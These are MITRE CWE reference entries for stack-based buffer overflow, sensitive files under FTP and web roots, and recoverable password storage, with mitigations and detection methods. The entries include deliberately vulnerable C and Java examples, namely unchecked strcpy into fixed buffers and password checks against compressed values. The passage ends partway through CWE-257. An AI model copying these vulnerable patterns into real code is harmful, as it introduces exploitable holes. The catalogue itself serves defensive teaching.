Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
A stack-based buffer overflow condition is a condition where the buffer being overwritten is allocated on the stack (i.e., is a local variable or, rarely, a parameter to a function).
+ Alternate Terms
Stack Overflow:
"Stack Overflow" is often used to mean the same thing as stack-based buffer overflow, however it is also used on occasion to mean stack exhaustion, usually a result from an excessively recursive function call. Due to the ambiguity of the term, use of stack overflow to describe either circumstance is discouraged.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.787Out-of-bounds Write
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.788Access of Memory Location After End of Buffer
+ Background Details
There are generally several security-critical data on an execution stack that can lead to arbitrary code execution. The most prominent is the stored return address, the memory address at which execution should continue once the current function is finished executing. The attacker can overwrite this value with some memory address to which the attacker also has write access, into which they place arbitrary code to be run with the full privileges of the vulnerable program. Alternately, the attacker can supply the address of an important call, for instance the POSIX system() call, leaving arguments to the call on the stack. This is often called a return into libc exploit, since the attacker generally forces the program to jump at return time into an interesting routine in the C standard library (libc). Other important data commonly on the stack include the stack pointer and frame pointer, two values that indicate offsets for computing memory addresses. Modifying those values can often be leveraged into a "write-what-where" condition.
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Undetermined Prevalence)

C++ (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Availability

Technical Impact: Modify Memory; DoS: Crash, Exit, or Restart; DoS: Resource Consumption (CPU); DoS: Resource Consumption (Memory)

Buffer overflows generally lead to crashes. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.
Integrity
Confidentiality
Availability
Access Control

Technical Impact: Modify Memory; Execute Unauthorized Code or Commands; Bypass Protection Mechanism

Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy.
Integrity
Confidentiality
Availability
Access Control
Other

Technical Impact: Modify Memory; Execute Unauthorized Code or Commands; Bypass Protection Mechanism; Other

When the consequence is arbitrary code execution, this can often be used to subvert any other security service.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

While buffer overflow examples can be rather complex, it is possible to have very simple, yet still exploitable, stack-based buffer overflows:

(bad code)
Example Language:
#define BUFSIZE 256
int main(int argc, char **argv) {
char buf[BUFSIZE];
strcpy(buf, argv[1]);
}

The buffer size is fixed, but there is no guarantee the string in argv[1] will not exceed this size and cause an overflow.

Example 2

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

(bad code)
Example Language:
void host_lookup(char *user_supplied_addr){
struct hostent *hp;
in_addr_t *addr;
char hostname[64];
in_addr_t inet_addr(const char *cp);

/*routine that ensures user_supplied_addr is in the right format for conversion */

validate_addr_form(user_supplied_addr);
addr = inet_addr(user_supplied_addr);
hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
strcpy(hostname, hp->h_name);
}

This function allocates a buffer of 64 bytes to store the hostname, however there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then the function may overwrite sensitive data or even relinquish control flow to the attacker.

Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476).

+ Observed Examples
ReferenceDescription
Stack-based buffer overflows in SFK for wifi chipset used for IoT/embedded devices, as exploited in the wild per CISA KEV.
+ Potential Mitigations

Phases: Operation; Build and Compilation

Strategy: Environment Hardening

Use automatic buffer overflow detection mechanisms that are offered by certain compilers or compiler extensions. Examples include: the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice, which provide various mechanisms including canary-based detection and range/index checking.

D3-SFCV (Stack Frame Canary Validation) from D3FEND [REF-1334] discusses canary-based detection in detail.

Effectiveness: Defense in Depth

Note:

This is not necessarily a complete solution, since these mechanisms only detect certain types of overflows. In addition, the result is still a denial of service, since the typical response is to exit the application.

Phase: Architecture and Design

Use an abstraction library to abstract away risky APIs. Not a complete solution.

Phase: Implementation

Implement and perform bounds checking on input.

Phase: Implementation

Do not use dangerous functions such as gets. Use safer, equivalent functions which check for boundary errors.

Phases: Operation; Build and Compilation

Strategy: Environment Hardening

Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code.

Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64]. Imported modules may be similarly realigned if their default memory addresses conflict with other modules, in a process known as "rebasing" (for Windows) and "prelinking" (for Linux) [REF-1332] using randomly generated addresses. ASLR for libraries cannot be used in conjunction with prelink since it would require relocating the libraries at run-time, defeating the whole purpose of prelinking.

For more information on these techniques see D3-SAOR (Segment Address Offset Randomization) from D3FEND [REF-1335].

Effectiveness: Defense in Depth

Note: These techniques do not provide a complete solution. For instance, exploits frequently use a bug that discloses memory addresses in order to maximize reliability of code execution [REF-1337]. It has also been shown that a side-channel attack can bypass ASLR [REF-1333]
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods

Fuzzing

Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.

Effectiveness: High

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.970SFP Secondary Cluster: Faulty Buffer Access
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1160SEI CERT C Coding Standard - Guidelines 06. Arrays (ARR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1161SEI CERT C Coding Standard - Guidelines 07. Characters and Strings (STR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1365ICS Communications: Unreliability
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1366ICS Communications: Frail Security in Protocols
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1399Comprehensive Categorization: Memory Safety
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Other

Stack-based buffer overflows can instantiate in return address overwrites, stack pointer overwrites or frame pointer overwrites. They can also be considered function pointer overwrites, array indexer overwrites or write-what-where condition, etc.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPStack overflow
Software Fault PatternsSFP8Faulty Buffer Access
CERT C Secure CodingARR38-CImpreciseGuarantee that library functions do not form invalid pointers
CERT C Secure CodingSTR31-CCWE More SpecificGuarantee that storage for strings has sufficient space for character data and the null terminator
+ References
[REF-1029] Aleph One. "Smashing The Stack For Fun And Profit". 1996-11-08. <http://phrack.org/issues/49/14.html>.
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 5, "Stack Overruns" Page 129. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 5: Buffer Overruns." Page 89. McGraw-Hill. 2010.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 3, "Nonexecutable Stack", Page 76. 1st Edition. Addison Wesley. 2006.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 5, "Protection Mechanisms", Page 189. 1st Edition. Addison Wesley. 2006.
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
[REF-58] Michael Howard. "Address Space Layout Randomization in Windows Vista". <https://learn.microsoft.com/en-us/archive/blogs/michael_howard/address-space-layout-randomization-in-windows-vista>. URL validated: 2023-04-07.
[REF-60] "PaX". <https://en.wikipedia.org/wiki/Executable_space_protection#PaX>. URL validated: 2023-04-07.
[REF-64] Grant Murphy. "Position Independent Executables (PIE)". Red Hat. 2012-11-28. <https://www.redhat.com/en/blog/position-independent-executables-pie>. URL validated: 2023-04-07.
[REF-1332] John Richard Moser. "Prelink and address space randomization". 2006-07-05. <https://lwn.net/Articles/190139/>. URL validated: 2023-04-26.
[REF-1333] Dmitry Evtyushkin, Dmitry Ponomarev, Nael Abu-Ghazaleh. "Jump Over ASLR: Attacking Branch Predictors to Bypass ASLR". 2016. <http://www.cs.ucr.edu/~nael/pubs/micro16.pdf>. URL validated: 2023-04-26.
[REF-1334] D3FEND. "Stack Frame Canary Validation (D3-SFCV)". 2023. <https://d3fend.mitre.org/technique/d3f:StackFrameCanaryValidation/>. URL validated: 2023-04-26.
[REF-1335] D3FEND. "Segment Address Offset Randomization (D3-SAOR)". 2023. <https://d3fend.mitre.org/technique/d3f:SegmentAddressOffsetRandomization/>. URL validated: 2023-04-26.
[REF-1337] Alexander Sotirov and Mark Dowd. "Bypassing Browser Memory Protections: Setting back browser security by 10 years". Memory information leaks. 2008. <https://www.blackhat.com/presentations/bh-usa-08/Sotirov_Dowd/bh08-sotirov-dowd.pdf>. URL validated: 2023-04-26.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-08-01KDM Analytics
added/updated white box definitions
2008-09-08CWE Content TeamMITRE
updated Alternate_Terms, Applicable_Platforms, Background_Details, Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2009-01-12CWE Content TeamMITRE
updated Common_Consequences, Relationships
2009-07-17KDM Analytics
Improved the White_Box_Definition
2009-07-27CWE Content TeamMITRE
updated Potential_Mitigations, White_Box_Definitions
2009-10-29CWE Content TeamMITRE
updated Relationships
2010-02-16CWE Content TeamMITRE
updated References
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, References, Relationships
2012-10-30CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Background_Details, Causal_Nature, Likelihood_of_Exploit, References, Relationships, Taxonomy_Mappings, White_Box_Definitions
2018-03-27CWE Content TeamMITRE
updated References
2019-01-03CWE Content TeamMITRE
updated Relationships
2019-09-19CWE Content TeamMITRE
updated References
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-06-25CWE Content TeamMITRE
updated Common_Consequences
2021-03-15CWE Content TeamMITRE
updated Demonstrative_Examples, References
2021-07-20CWE Content TeamMITRE
updated Demonstrative_Examples
2022-06-28CWE Content TeamMITRE
updated Observed_Examples
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Potential_Mitigations, References, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes, Relationships

CWE-220: Storage of File With Sensitive Data Under FTP Root

Weakness ID: 220
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product stores sensitive data under the FTP server root with insufficient access control, which might make it accessible to untrusted parties.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.552Files or Directories Accessible to External Parties
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1011Authorize Actors
+ Background Details
Various Unix FTP servers require a password file that is under the FTP root, due to use of chroot.
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Operation
Architecture and DesignCOMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data

+ Potential Mitigations

Phases: Implementation; System Configuration

Avoid storing information under the FTP root directory.

Phase: System Configuration

Access control permissions should be set to prevent reading/writing of sensitive files inside/outside of the FTP directory.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1029OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1403Comprehensive Categorization: Exposed Resource
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERSensitive Data Under FTP Root
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-09-08CWE Content TeamMITRE
updated Background_Details, Relationships, Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Modes_of_Introduction, Relationships
2018-03-27CWE Content TeamMITRE
updated Relationships
2019-06-20CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Description, Name, Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2020-02-24Sensitive Data Under FTP Root

CWE-219: Storage of File with Sensitive Data Under Web Root

Weakness ID: 219
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product stores sensitive data under the web document root with insufficient access control, which might make it accessible to untrusted parties.
+ Extended Description
Besides public-facing web pages and code, products may store sensitive data, code that is not directly invoked, or other files under the web document root of the web server. If the server is not configured or otherwise used to prevent direct access to those files, then attackers may obtain this sensitive data.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.552Files or Directories Accessible to External Parties
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.433Unparsed Raw Web Content Delivery
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1011Authorize Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
OperationCOMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.
ImplementationCOMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data

+ Observed Examples
ReferenceDescription
Data file under web root.
Data file under web root.
Username/password in data file under web root.
Database file under web root.
database file under web root.
+ Potential Mitigations

Phases: Implementation; System Configuration

Avoid storing information under the web root directory.

Phase: System Configuration

Access control permissions should be set to prevent reading/writing of sensitive files inside/outside of the web directory.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.731OWASP Top Ten 2004 Category A10 - Insecure Configuration Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.815OWASP Top Ten 2010 Category A6 - Security Misconfiguration
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1345OWASP Top Ten 2021 Category A01:2021 - Broken Access Control
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1403Comprehensive Categorization: Exposed Resource
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERSensitive Data Under Web Root
OWASP Top Ten 2004A10CWE More SpecificInsecure Configuration Management
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-08-15Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-12-28CWE Content TeamMITRE
updated Relationships
2010-06-21CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Modes_of_Introduction, Relationships
2020-02-24CWE Content TeamMITRE
updated Description, Name, Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2020-02-24Sensitive Data Under Web Root

CWE-257: Storing Passwords in a Recoverable Format

Weakness ID: 257
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The storage of passwords in a recoverable format makes them subject to password reuse attacks by malicious users. In fact, it should be noted that recoverable encrypted passwords provide no significant benefit over plaintext passwords since they are subject not only to reuse by malicious attackers but also by malicious insiders. If a system administrator can recover a password directly, or use a brute force search on the available information, the administrator can use the password on other accounts.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.522Insufficiently Protected Credentials
PeerOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.259Use of Hard-coded Password
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.798Use of Hard-coded Credentials
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.255Credentials Management Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1013Encrypt Data
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignCOMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Access Control

Technical Impact: Gain Privileges or Assume Identity

User's passwords may be revealed.
Access Control

Technical Impact: Gain Privileges or Assume Identity

Revealed passwords may be reused elsewhere to impersonate the users in question.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

Both of these examples verify a password by comparing it to a stored compressed version.

(bad code)
Example Language:
int VerifyAdmin(char *password) {
if (strcmp(compress(password), compressed_password)) {
printf("Incorrect Password!\n");
return(0);
}
printf("Entering Diagnostic Mode...\n");
return(1);
}
(bad code)
Example Language: Java 
int VerifyAdmin(String password) {
if (passwd.Equals(compress(password), compressed_password)) {
return(0);
}
//Diagnostic Mode
return(1);
}

Because a compression algorithm is used instead of a one way hashing algorithm, an attacker can recover compressed passwords stored in the database.

Example 2

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in cleartext.

This Java example shows a properties file with a cleartext username / password pair.

